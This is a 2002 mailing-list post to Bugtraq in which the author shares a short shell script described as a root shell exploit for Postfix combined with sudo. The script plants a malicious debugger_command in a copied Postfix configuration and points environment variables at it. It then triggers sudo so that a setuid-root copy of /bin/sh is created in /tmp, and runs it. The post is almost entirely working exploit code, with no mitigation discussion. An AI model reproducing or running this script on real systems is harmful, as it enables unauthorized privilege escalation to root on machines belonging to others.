Date: Tue, 15 Jan 2002 21:44:58 -0700
From: "Charles 'core' Stevenson" <core@bokeoa.com>
To: "bugtraq@securityfocus.com" <bugtraq@securityfocus.com>,
Subject: Sudo +Postfix Exploit
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Took a few minutes to write something... hope you like it.
Best Regards,
Charles 'core' Stevenson
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#!/bin/sh
#
# root shell exploit for postfix + sudo
# tested on debian powerpc unstable
#
# by Charles 'core' Stevenson <core@bokeoa.com>
# Put your password here if you're not in the sudoers file
PASSWORD=wdnownz
echo -e "sudo exploit by core <core@bokeoa.com>\n"
echo "Setting up postfix config directory..."
/bin/cp -r /etc/postfix /tmp
echo "Adding malicious debugger command..."
echo "debugger_command = /bin/cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh">>/tmp/postfix/main.cf
echo "Setting up environment..."
export MAIL_CONFIG=/tmp/postfix
export MAIL_DEBUG=
sleep 2
echo "Trying to exploit..."
echo -e "$PASSWORD\n"|/usr/bin/sudo su -
sleep 2
echo "We should have a root shell let's check..."
ls -l /tmp/sh
echo "Cleaning up..."
rm -rf /tmp/postfix
echo "Attempting to run root shell..."
/tmp/sh
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